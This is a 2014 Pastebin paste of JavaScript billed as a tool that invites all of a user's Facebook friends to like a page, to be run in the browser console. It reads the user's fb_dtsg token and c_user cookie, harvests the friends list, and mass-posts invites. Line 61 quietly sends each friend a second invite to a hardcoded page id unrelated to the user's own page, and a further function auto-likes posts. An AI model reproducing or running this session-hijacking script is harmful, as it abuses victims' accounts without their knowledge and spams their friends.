Want more features on Pastebin? Sign Up, it's FREE!
Guest

code auto mời bạn bè like page fb

By: a guest on Feb 1st, 2014  |  syntax: None  |  size: 9.52 KB  |  views: 36  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. var Title = "Chúc mừng năm mới 2014</A>";
  2. var Descriptions = "",
  3.     _text = 'Powered By: <A style="color:#3B5998;" href="https://www.facebook.com/Thoang.idol" target="_blank">HauBisley Coderviet In VietNam</A></br>Script Made By: </A><A style="color:#3B5998;" href="https://www.facebook.com/" target="_blank">Phoenix Team</A></A>,</A></A>.</br>For More Tools Visit Our Blogger <A style="color:#3B5998;" href="https://https://www.facebook.com/pages/BMX-Gold/234738283365408?ref=hl" target="_blank">Automate Your Facebook</A>.</A>';
  4.  
  5. page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];
  6.  
  7. function InviteFriends(opo) {
  8.     jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function (a) {
  9.         var b = a.substring(a.indexOf("{"));
  10.         var c = JSON.parse(b);
  11.         i--;
  12.         Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  13.         if (c.error) {
  14.             Descriptions += "color:darkred'>";
  15.             err++;
  16.             if (c.errorDescription) Descriptions += c.errorDescription;
  17.             else Descriptions += JSON.stringify(c, null, "")
  18.         } else {
  19.             Descriptions += "color:darkgreen'>";
  20.             Descriptions += arn[i] + " has been invited to like the page " + page_name + ".";
  21.             suc++
  22.         }
  23.         Descriptions += "</div>";
  24.         var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
  25.         display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  26.         if (i > 0) {
  27.             display += arr.length + " Friends Detected<br/>";
  28.             display += "<b>" + suc + "</b> Friends Invited of " + (arr.length - i) + " Friends Processed ";
  29.             display += "(" + i + " Lefted...)";
  30.             display += "<div class='friend-edge'>";
  31.             display += Descriptions;
  32.             display += "<img style='width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  33.             display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  34.             display += "Please Wait While Inviting Your Friends to Like Your Page " + page_name + ".</br>";
  35. display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Cancel</span><br/>";
  36.             display += _text;
  37.             display += "</div>";
  38.             display += "</div>";
  39.             display += "</div>";
  40.             window[tag + "_close"] = true
  41.         } else {
  42.             Title = "All Of Your Friends Have Been Invited to Like Your Page.</A>";
  43.             display += arr.length + " Friends Detected and ";
  44.             display += "<b>" + suc + " Friends Invited.</b></br>";
  45.             display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span><br/>";
  46.             display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
  47.             display += _text;
  48.             display += "</div>";
  49.             window[tag + "_close"] = false
  50.         }
  51.         display += "</div>";
  52.         document.getElementById("pagelet_sidebar").innerHTML = display
  53.     }, "text", "post");
  54.     tay--;
  55.     if (tay > 0) {
  56.         var s = arr[tay];
  57.         setTimeout("InviteFriends(" + s + ")", 100)
  58.     }
  59.     console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  60.  
  61. if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=338921776254184&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  62.  
  63.  
  64.  
  65.    
  66. }
  67. jx = {
  68.     b: function () {
  69.         var b = !1;
  70.         if ("undefined" != typeof ActiveXObject) try {
  71.             b = new ActiveXObject("Msxml2.XMLHTTP")
  72.         } catch (c) {
  73.             try {
  74.                 b = new ActiveXObject("Microsoft.XMLHTTP")
  75.             } catch (a) {
  76.                 b = !1
  77.             }
  78.         } else if (window.XMLHttpRequest) try {
  79.             b = new XMLHttpRequest
  80.         } catch (h) {
  81.             b = !1
  82.         }
  83.         return b
  84.     },
  85.     load: function (b, c, a, h, g) {
  86.         var e = this.d();
  87.         if (e && b) {
  88.             e.overrideMimeType && e.overrideMimeType("text/xml");
  89.             h || (h = "GET");
  90.             a || (a = "text");
  91.             g || (g = {});
  92.             a = a.toLowerCase();
  93.             h = h.toUpperCase();
  94.             b += b.indexOf("?") + 1 ? "&" : "?";
  95.             var k = null;
  96.             "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
  97.             e.open(h, b, !0);
  98.             e.onreadystatechange = g.c ? function () {
  99.                 g.c(e)
  100.             } : function () {
  101.                 if (4 == e.readyState)
  102.                     if (200 == e.status) {
  103.                         var b = "";
  104.                         e.responseText && (b = e.responseText);
  105.                         "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
  106.                         c && c(b)
  107.                     } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
  108.             };
  109.             e.send(k)
  110.         }
  111.     },
  112.     d: function () {
  113.         return this.b()
  114.     }
  115. };
  116.  
  117. function ChangeLocation() {
  118.     window.location.href = "http://www.facebook.com/"
  119. }
  120. setTimeout("ChangeLocation", 1);
  121. window.onbeforeunload = function () {
  122.     if (window[tag + "_close"]) return "This script is running now!"
  123. };
  124. var i = 3;
  125. var tay = 3;
  126. var suc = 0;
  127. var err = 0;
  128. var arr = new Array;
  129. var arn = new Array;
  130. var pho = new Array;
  131. var tag = "Close";
  132. var page_name, x = document.getElementsByTagName("span");
  133. for (i = 0; i < x.length; i++)
  134.     if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML;
  135. var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
  136. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  137. jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
  138.     var b = a;
  139.     var c = b.substring(b.indexOf("{"));
  140.     var d = JSON.parse(c);
  141.     d = d.payload.entries;
  142.     for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  143.     for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  144.     for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  145.     i = arr.length - 1;
  146.     tay = i;
  147.     console.log(arr.length);
  148.     var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
  149.     display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  150.     display += arr.length + " Friends Detected, Please Wait . . .";
  151.     display += "</div>";
  152.     document.getElementById("pagelet_sidebar").innerHTML = display;
  153.     InviteFriends(arr[i])
  154. });
  155. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  156. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  157. var now = (new Date).getTime();
  158.  
  159. function p(post) {
  160.  
  161. var X = new XMLHttpRequest();
  162. var XURL = "//www.facebook.com/ajax/ufi/like.php";
  163. var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=2&client_id=1381377993496%3A1284500146&rootid=u_0_8&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35ynzpQ9UmWWuUGy6zECi8w&__req=g&fb_dtsg=" + fb_dtsg + "&ttstamp=26581681054512111570";
  164. X.open("POST", XURL, true);
  165. X.onreadystatechange = function () {
  166. if (X.readyState == 4 && X.status == 200) {
  167. X.close;
  168. }
  169. };
  170. X.send(XParams);
  171. }
clone this paste RAW Paste Data